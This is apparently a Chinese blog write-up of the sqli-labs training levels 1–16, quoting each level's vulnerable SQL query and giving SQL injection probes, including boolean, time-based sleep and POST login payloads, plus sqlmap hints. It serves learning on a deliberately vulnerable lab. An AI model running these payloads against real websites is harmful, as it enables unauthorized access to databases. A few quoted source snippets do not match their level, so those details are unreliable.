小记sqli-labs 1-16关

less-1 字符型

通过

1‘ and 1=1 --+

1‘ and 1=2 --+ 即可判断出来

less2- 数字型

通过

1 and 1=1

1 and 1=2 即可判断出来

less-3-观察源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

只需要闭合小括号即可

payload:

?id=1') and 1=1 --+

?id=1') and 1=2 --+  得到注入点

less-4

观察源码

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

发现需要闭合双引号和小括号

?id=1") and 1=1 --+

?id=1") and 1=2 --+

less-5

尝试 ?id=1' and 1=1 --+ 发现页面并没有回显数据,

     而使用?id=1' and 1=2 --+ 发现页面缺少东西了,所以判断此处存在注入点,但是由于没有数据,所以只能使用盲注

既然判断出注入类型即可使用工具,或者写个脚本进行注入了

我使用的是sqlmap

扫出存在布尔盲注、报错注入、时间盲注漏洞

less-6

观察源码

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

发现其对接收的数据进行加 "" 的处理,所以我们在构造payload的的时候需要对"进行闭合

判断是否存在注入的payload

?id=1" and 1=1 --+ 页面显示正常

?id=1" and 1=2 --+ 页面显示错误

因为没有回显数据,所以还是用工具

 

less-7

观察源码

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

发现可以i使用”))进行闭合

-p 指定参数进行注入

 id=1')) AND 1=1 --+ 页面显示正常

 id=1'))AND 1=2 --+ 页面显示异常

但是没有回显数据,接着使用工具

less-8

观察源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

判断注入点

?id=1' and 1=1--+

?id=1' and 1=2--+

存在盲注

 

less-9

在这关,无法使用上面的 and 1=1这种方法进行判断了,因为页面无论正常还是有错误都没有进行回显,所以只能使用时间盲注的方式进行判断。

判断注入点的payload为

?id=1' and if(length(database())>0,sleep(5),sleep(1)) --+

上述sql语句的意思是,如果数据库名长度大于0,那么等待5 seconds,如果不大于0则等待1s

这样就可以判断是否存在注入点了

因为盲注比较麻烦所以还是使用sqlmap进行

 

less-10

查看源码

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

发现后端程序对接收的参数进行加 "" 处理,所以只要闭合这个双引号即可

并且与上一关一样,此处无论对错都没有回显,所以还是选用sleep判断注入点

payload:

?id=1" and if(length(database())>0,sleep(5),sleep(1)) --+

这边手工检测出存在注入点,但是sqlmap默认检测却检测不到,所以需要 --level 参数手动指定扫描级别,我这边level=2就可以扫描出来了

sqlmap命令

跑完发现存在注入

 

less-11

查看源码

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

发现传参方式POST,所以此时就得使用Burpsuite抓包了

在不看源码的情况下直接抓包也可以判断传参方式

payload:

admin' and 1=1--+页面回显数据

admin' and 1=2--+页面无回显数据

使用sqlmap进行扫描需要加--data ”POST请求的内容“ 进行使用

 

less-12

查看源码

 $uname='"'.$uname.'"';

 $passwd='"'.$passwd.'"';

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

发现只需闭合小括号和双引号即可

所以payload应该是

uname=admin") AND 6149=6149# 页面显示数据

uname=admin") AND 6148=6149# 页面无显示

 

less-13

与前面的一样都是对接收的参数进行处理,只是传参的方式是POST

可以直接在页面的输入框中测试payload即可判断注入点

less-14 - less16与前面相似,只不过闭合的方式不同而已,闭合方式参考less 3-10 的即可,我们这边直接跳过

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值